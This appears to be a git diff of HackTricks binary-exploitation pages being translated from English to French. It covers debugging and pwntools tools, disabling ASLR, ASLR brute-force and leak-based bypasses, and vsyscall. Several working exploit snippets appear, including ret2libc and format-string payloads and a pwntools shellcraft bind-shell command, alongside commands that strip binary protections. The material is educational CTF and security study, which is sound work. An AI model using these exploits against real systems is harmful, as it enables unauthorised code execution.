For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
&#xNAN;_&#x52;emember that the first 0x08 from where the RIP is saved belongs to the RBP._
**Ghidra** est très utile pour trouver l'**offset** pour un **débordement de tampon grâce aux informations sur la position des variables locales.**\
Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique qu'un offset de `0xbc` est nécessaire. De plus, si `local_10` est un cookie canari, cela indique que pour l'écraser depuis `local_bc`, il y a un offset de `0xac`.\
&#xNAN;_&#x52;emember que les premiers 0x08 d'où le RIP est sauvegardé appartiennent au RBP._
![](<../../../images/image (1061).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Get every opcode executed in the program.
Obtenez chaque opcode exécuté dans le programme.
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
&#xNAN;**-o** --> Output\
&#xNAN;**-g** --> Save code (GDB will be able to see it)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compiler sans protections\
&#xNAN;**-o** --> Sortie\
&#xNAN;**-g** --> Sauvegarder le code (GDB pourra le voir)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Pour désactiver l'ASLR sous linux
**To compile a shellcode:**\
**nasm -f elf assembly.asm** --> return a ".o"\
**ld assembly.o -o shellcodeout** --> Executable
**Pour compiler un shellcode :**\
**nasm -f elf assembly.asm** --> retourne un ".o"\
**ld assembly.o -o shellcodeout** --> Exécutable
## Objdump
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
&#xNAN;**-Mintel** --> **Intel** syntax\
&#xNAN;**-t** --> **Symbols** table\
&#xNAN;**-D** --> **Disassemble all** (address of static variable)\
&#xNAN;**-s -j .dtors** --> dtors section\
&#xNAN;**-s -j .got** --> got section\
-D -s -j .plt --> **plt** section **decompiled**\
&#xNAN;**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
**-d** --> **Désassembler les** sections exécutables (voir les opcodes d'un shellcode compilé, trouver des gadgets ROP, trouver l'adresse d'une fonction...)\
&#xNAN;**-Mintel** --> **Syntaxe** Intel\
&#xNAN;**-t** --> **Table** des symboles\
&#xNAN;**-D** --> **Désassembler tout** (adresse de la variable statique)\
&#xNAN;**-s -j .dtors** --> section dtors\
&#xNAN;**-s -j .got** --> section got\
-D -s -j .plt --> section **plt** **décompilée**\
&#xNAN;**-TR** --> **Relocalisations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse de "puts" à modifier dans GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Adresse d'une variable statique (celles-ci sont stockées dans la section DATA).
## Core dumps
1. Run `ulimit -c unlimited` before starting my program
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
1. Exécutez `ulimit -c unlimited` avant de démarrer mon programme
2. Exécutez `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
## More
## Plus
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
**ldd executable | grep libc.so.6** --> Adresse (si ASLR, alors cela change à chaque fois)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Boucle pour voir si l'adresse change beaucoup\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Décalage de "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Décalage de "/bin/sh"
**strace executable** --> Functions called by the executable\
**rabin2 -i ejecutable -->** Address of all the functions
**strace executable** --> Fonctions appelées par l'exécutable\
**rabin2 -i ejecutable -->** Adresse de toutes les fonctions
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debugging in remote linux
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
### Débogage dans linux distant
Dans le dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire à l'intérieur d'un linux. Pour ce faire, déplacez le binaire `linux_server` ou `linux_server64` à l'intérieur du serveur linux et exécutez-le dans le dossier qui contient le binaire :
```
./linux_server64 -Ppass
```
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
Ensuite, configurez le débogueur : Debugger (linux remote) --> Options de processus... :
![](<../../../images/image (858).png>)

View File

@ -1,120 +1,100 @@
# PwnTools
{{#include ../../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
## Pwn asm
Get **opcodes** from line or file.
Obtenez des **opcodes** à partir d'une ligne ou d'un fichier.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Peut sélectionner :**
**Can select:**
- type de sortie (raw, hex, string, elf)
- contexte de fichier de sortie (16, 32, 64, linux, windows...)
- éviter les octets (nouvelles lignes, null, une liste)
- sélectionner l'encodeur de débogage shellcode en utilisant gdb pour exécuter la sortie
- output type (raw,hex,string,elf)
- output file context (16,32,64,linux,windows...)
- avoid bytes (new lines, null, a list)
- select encoder debug shellcode using gdb run the output
## **Pwn checksec**
Checksec script
## **Vérification Pwn**
Script checksec
```
pwn checksec <executable>
```
## Pwn constgrep
## Pwn cyclic
Get a pattern
Obtenez un motif
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Peut sélectionner :**
**Can select:**
- The used alphabet (lowercase chars by default)
- Length of uniq pattern (default 4)
- context (16,32,64,linux,windows...)
- Take the offset (-l)
- L'alphabet utilisé (caractères minuscules par défaut)
- Longueur du motif unique (par défaut 4)
- contexte (16,32,64,linux,windows...)
- Prendre le décalage (-l)
## Pwn debug
Attach GDB to a process
Attacher GDB à un processus
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**Peut sélectionner :**
**Can select:**
- By executable, by name or by pid context (16,32,64,linux,windows...)
- gdbscript to execute
- Par exécutable, par nom ou par contexte pid (16,32,64,linux,windows...)
- gdbscript à exécuter
- sysrootpath
## Pwn disablenx
Disable nx of a binary
## Pwn désactiver nx
Désactiver nx d'un binaire
```
pwn disablenx <filepath>
```
## Pwn disasm
Disas hex opcodes
Désassemblez les opcodes hexadecimaux
```
pwn disasm ffe4
```
**Peut sélectionner :**
**Can select:**
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
- contexte (16,32,64,linux,windows...)
- adresse de base
- couleur(par défaut)/sans couleur
## Pwn elfdiff
Print differences between 2 files
Imprimer les différences entre 2 fichiers
```
pwn elfdiff <file1> <file2>
```
## Pwn hex
Get hexadecimal representation
Obtenir la représentation hexadécimale
```bash
pwn hex hola #Get hex of "hola" ascii
```
## Pwn phd
Get hexdump
Obtenir hexdump
```
pwn phd <file>
```
**Peut sélectionner :**
**Can select:**
- Number of bytes to show
- Number of bytes per line highlight byte
- Skip bytes at beginning
- Nombre d'octets à afficher
- Nombre d'octets par ligne mettre en surbrillance l'octet
- Ignorer les octets au début
## Pwn pwnstrip
@ -122,8 +102,7 @@ pwn phd <file>
## Pwn shellcraft
Get shellcodes
Obtenir des shellcodes
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Peut sélectionner :**
**Can select:**
- shellcode et arguments pour le shellcode
- Fichier de sortie
- format de sortie
- déboguer (attacher dbg au shellcode)
- avant (piège de débogage avant le code)
- après
- éviter d'utiliser des opcodes (par défaut : pas nul et nouvelle ligne)
- Exécuter le shellcode
- Couleur/pas de couleur
- lister les syscalls
- lister les shellcodes possibles
- Générer ELF en tant que bibliothèque partagée
- shellcode and arguments for the shellcode
- Out file
- output format
- debug (attach dbg to shellcode)
- before (debug trap before code)
- after
- avoid using opcodes (default: not null and new line)
- Run the shellcode
- Color/no color
- list syscalls
- list possible shellcodes
- Generate ELF as a shared library
## Pwn template
Get a python template
## Modèle Pwn
Obtenez un modèle python
```
pwn template
```
**Can select:** host, port, user, pass, path and quiet
**Peut sélectionner :** hôte, port, utilisateur, mot de passe, chemin et silencieux
## Pwn unhex
From hex to string
De hex à chaîne
```
pwn unhex 686f6c61
```
## Mise à jour de Pwn
## Pwn update
To update pwntools
Pour mettre à jour pwntools
```
pwn update
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,29 @@
# Common Binary Exploitation Protections & Bypasses
# Protections et Contournements Communs de l'Exploitation Binaire
{{#include ../../banners/hacktricks-training.md}}
## Enable Core files
## Activer les fichiers Core
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
Les **fichiers Core** sont un type de fichier généré par un système d'exploitation lorsqu'un processus plante. Ces fichiers capturent l'image mémoire du processus planté au moment de sa terminaison, y compris la mémoire du processus, les registres et l'état du compteur de programme, entre autres détails. Ce snapshot peut être extrêmement précieux pour le débogage et la compréhension des raisons du crash.
### **Enabling Core Dump Generation**
### **Activation de la Génération de Fichiers Core**
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings.
- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
Par défaut, de nombreux systèmes limitent la taille des fichiers core à 0 (c'est-à-dire qu'ils ne génèrent pas de fichiers core) pour économiser de l'espace disque. Pour activer la génération de fichiers core, vous pouvez utiliser la commande **`ulimit`** (dans bash ou des shells similaires) ou configurer des paramètres à l'échelle du système.
- **Utilisation de ulimit** : La commande `ulimit -c unlimited` permet à la session shell actuelle de créer des fichiers core de taille illimitée. Cela est utile pour les sessions de débogage mais n'est pas persistant entre les redémarrages ou les nouvelles sessions.
```bash
ulimit -c unlimited
```
- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
- **Configuration Persistante** : Pour une solution plus permanente, vous pouvez modifier le fichier `/etc/security/limits.conf` pour inclure une ligne comme `* soft core unlimited`, ce qui permet à tous les utilisateurs de générer des fichiers core de taille illimitée sans avoir à définir ulimit manuellement dans leurs sessions.
```markdown
- soft core unlimited
```
### **Analyse des fichiers de core avec GDB**
### **Analyzing Core Files with GDB**
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
Pour analyser un fichier de core, vous pouvez utiliser des outils de débogage comme GDB (le débogueur GNU). En supposant que vous ayez un exécutable qui a produit un vidage de core et que le fichier de core soit nommé `core_file`, vous pouvez commencer l'analyse avec :
```bash
gdb /path/to/executable /path/to/core_file
```
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
Cette commande charge l'exécutable et le fichier core dans GDB, vous permettant d'inspecter l'état du programme au moment du crash. Vous pouvez utiliser les commandes GDB pour explorer la pile, examiner les variables et comprendre la cause du crash.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,107 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
**Address Space Layout Randomization (ASLR)** est une technique de sécurité utilisée dans les systèmes d'exploitation pour **randomiser les adresses mémoire** utilisées par les processus système et d'application. Ce faisant, cela rend beaucoup plus difficile pour un attaquant de prédire l'emplacement de processus et de données spécifiques, tels que la pile, le tas et les bibliothèques, atténuant ainsi certains types d'exploits, en particulier les débordements de tampon.
### **Checking ASLR Status**
### **Vérification de l'état d'ASLR**
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
Pour **vérifier** l'état d'ASLR sur un système Linux, vous pouvez lire la valeur dans le fichier **`/proc/sys/kernel/randomize_va_space`**. La valeur stockée dans ce fichier détermine le type d'ASLR appliqué :
- **0**: No randomization. Everything is static.
- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
You can check the ASLR status with the following command:
- **0** : Pas de randomisation. Tout est statique.
- **1** : Randomisation conservatrice. Les bibliothèques partagées, la pile, mmap(), la page VDSO sont randomisées.
- **2** : Randomisation complète. En plus des éléments randomisés par la randomisation conservatrice, la mémoire gérée par `brk()` est randomisée.
Vous pouvez vérifier l'état d'ASLR avec la commande suivante :
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Désactiver ASLR**
### **Disabling ASLR**
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
Pour **désactiver** ASLR, vous devez définir la valeur de `/proc/sys/kernel/randomize_va_space` à **0**. Désactiver ASLR n'est généralement pas recommandé en dehors des scénarios de test ou de débogage. Voici comment vous pouvez le désactiver :
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
You can also disable ASLR for an execution with:
Vous pouvez également désactiver ASLR pour une exécution avec :
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Activation de l'ASLR**
### **Enabling ASLR**
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
Pour **activer** l'ASLR, vous pouvez écrire une valeur de **2** dans le fichier `/proc/sys/kernel/randomize_va_space`. Cela nécessite généralement des privilèges root. L'activation de la randomisation complète peut être effectuée avec la commande suivante :
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Persistance à travers les redémarrages**
### **Persistence Across Reboots**
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
Les modifications apportées avec les commandes `echo` sont temporaires et seront réinitialisées lors du redémarrage. Pour rendre la modification persistante, vous devez éditer le fichier `/etc/sysctl.conf` et ajouter ou modifier la ligne suivante :
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
After editing `/etc/sysctl.conf`, apply the changes with:
Après avoir modifié `/etc/sysctl.conf`, appliquez les changements avec :
```bash
sudo sysctl -p
```
This will ensure that your ASLR settings remain across reboots.
Cela garantira que vos paramètres ASLR restent après les redémarrages.
## **Bypasses**
### 32bit brute-forcing
### Force brute 32 bits
PaX divides the process address space into **3 groups**:
PaX divise l'espace d'adresses du processus en **3 groupes** :
- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
- **Code et données** (initialisées et non initialisées) : `.text`, `.data`, et `.bss` —> **16 bits** d'entropie dans la variable `delta_exec`. Cette variable est initialisée aléatoirement avec chaque processus et ajoutée aux adresses initiales.
- **Mémoire** allouée par `mmap()` et **bibliothèques partagées** —> **16 bits**, nommée `delta_mmap`.
- **La pile** —> **24 bits**, appelée `delta_stack`. Cependant, elle utilise effectivement **11 bits** (du 10ème au 20ème octet inclus), alignés sur **16 octets** —> Cela donne **524,288 adresses de pile réelles possibles**.
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
Les données précédentes concernent les systèmes 32 bits et l'entropie finale réduite permet de contourner l'ASLR en réessayant l'exécution encore et encore jusqu'à ce que l'exploit réussisse.
#### Brute-force ideas:
- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
- Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
#### Idées de force brute :
- Si vous avez un débordement suffisamment grand pour accueillir un **grand NOP sled avant le shellcode**, vous pourriez simplement forcer les adresses dans la pile jusqu'à ce que le flux **saute par-dessus une partie du NOP sled**.
- Une autre option dans ce cas où le débordement n'est pas si grand et que l'exploit peut être exécuté localement est de **ajouter le NOP sled et le shellcode dans une variable d'environnement**.
- Si l'exploit est local, vous pouvez essayer de forcer l'adresse de base de libc (utile pour les systèmes 32 bits) :
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- Si vous attaquez un serveur distant, vous pourriez essayer de **forcer l'adresse de la fonction `usleep` de `libc`**, en passant comme argument 10 (par exemple). Si à un moment donné le **serveur met 10s de plus à répondre**, vous avez trouvé l'adresse de cette fonction.
> [!TIP]
> In 64bit systems the entropy is much higher and this shouldn't possible.
> Dans les systèmes 64 bits, l'entropie est beaucoup plus élevée et cela ne devrait pas être possible.
### 64 bits stack brute-forcing
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
### Bruteforce de la pile 64 bits
Il est possible d'occuper une grande partie de la pile avec des variables d'environnement et ensuite essayer d'abuser du binaire des centaines/milliers de fois localement pour l'exploiter.\
Le code suivant montre comment il est possible de **simplement sélectionner une adresse dans la pile** et chaque **quelques centaines d'exécutions**, cette adresse contiendra l'**instruction NOP** :
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
cont += 1
if cont % 10000 == 0:
break
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Local Information (`/proc/[pid]/stat`)
### Informations locales (`/proc/[pid]/stat`)
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
Le fichier **`/proc/[pid]/stat`** d'un processus est toujours lisible par tout le monde et il **contient des informations intéressantes** telles que :
- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
- **startstack**: The address of the start of the **stack**
- **start_data** & **end_data**: Addresses above and below where the **BSS** is
- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are.
- **env_start** &**env_end**: Addresses above and below where **env variables** are.
- **startcode** & **endcode** : Adresses au-dessus et en dessous du **TEXT** du binaire
- **startstack** : L'adresse du début de la **pile**
- **start_data** & **end_data** : Adresses au-dessus et en dessous où se trouve le **BSS**
- **kstkesp** & **kstkeip** : Adresses actuelles de **ESP** et **EIP**
- **arg_start** & **arg_end** : Adresses au-dessus et en dessous où se trouvent les **arguments cli**.
- **env_start** & **env_end** : Adresses au-dessus et en dessous où se trouvent les **variables d'environnement**.
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
Par conséquent, si l'attaquant est sur le même ordinateur que le binaire exploité et que ce binaire ne s'attend pas à un débordement provenant d'arguments bruts, mais d'une **entrée différente qui peut être façonnée après avoir lu ce fichier**. Il est possible pour un attaquant de **récupérer certaines adresses de ce fichier et de construire des décalages à partir de celles-ci pour l'exploitation**.
> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
> Pour plus d'informations sur ce fichier, consultez [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en recherchant `/proc/pid/stat`
### Having a leak
### Avoir une fuite
- **The challenge is giving a leak**
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
- **Le défi consiste à donner une fuite**
Si vous recevez une fuite (défis CTF faciles), vous pouvez calculer des décalages à partir de celle-ci (en supposant par exemple que vous connaissez la version exacte de libc utilisée dans le système que vous exploitez). Cet exemple d'exploitation est extrait de [**l'exemple d'ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consultez cette page pour plus de détails) :
```python
from pwn import *
@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
- **ret2plt**
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
En abusant d'un débordement de tampon, il serait possible d'exploiter un **ret2plt** pour exfiltrer une adresse d'une fonction de la libc. Vérifiez :
{{#ref}}
ret2plt.md
@ -216,8 +198,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
Tout comme dans ret2plt, si vous avez une lecture arbitraire via une vulnérabilité de chaînes de format, il est possible d'exfiltrer l'adresse d'une **fonction libc** à partir du GOT. L'exemple suivant [**est tiré d'ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got) :
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
You can find more info about Format Strings arbitrary read in:
Vous pouvez trouver plus d'infos sur la lecture arbitraire des chaînes de format dans :
{{#ref}}
../../format-strings/
@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
### Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack:
Essayez de contourner ASLR en abusant des adresses à l'intérieur de la pile :
{{#ref}}
ret2ret.md
@ -245,13 +225,12 @@ ret2ret.md
### vsyscall
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
Le mécanisme **`vsyscall`** sert à améliorer les performances en permettant à certains appels système d'être exécutés dans l'espace utilisateur, bien qu'ils fassent fondamentalement partie du noyau. L'avantage critique des **vsyscalls** réside dans leurs **adresses fixes**, qui ne sont pas soumises à **ASLR** (Randomisation de la disposition de l'espace d'adresses). Cette nature fixe signifie que les attaquants n'ont pas besoin d'une vulnérabilité de fuite d'information pour déterminer leurs adresses et les utiliser dans un exploit.\
Cependant, aucun gadget super intéressant ne sera trouvé ici (bien qu'il soit par exemple possible d'obtenir un équivalent de `ret;`)
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
(L'exemple et le code suivants proviennent de [**ce rapport**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
Par exemple, un attaquant pourrait utiliser l'adresse `0xffffffffff600800` dans un exploit. Bien que tenter de sauter directement à une instruction `ret` puisse entraîner une instabilité ou des plantages après l'exécution de quelques gadgets, sauter au début d'un `syscall` fourni par la section **vsyscall** peut s'avérer réussi. En plaçant soigneusement un gadget **ROP** qui dirige l'exécution vers cette adresse **vsyscall**, un attaquant peut obtenir l'exécution de code sans avoir besoin de contourner **ASLR** pour cette partie de l'exploit.
```
ef➤ vmmap
Start End Offset Perm Path
@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check:
Notez donc comment il pourrait être possible de **contourner ASLR en abusant du vdso** si le noyau est compilé avec CONFIG_COMPAT_VDSO car l'adresse vdso ne sera pas randomisée. Pour plus d'infos, consultez :
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md

View File

@ -2,40 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
Le but de cette technique serait de **fuiter une adresse d'une fonction du PLT** pour pouvoir contourner l'ASLR. Cela est dû au fait que si, par exemple, vous fuites l'adresse de la fonction `puts` de la libc, vous pouvez alors **calculer où se trouve la base de `libc`** et calculer des décalages pour accéder à d'autres fonctions telles que **`system`**.
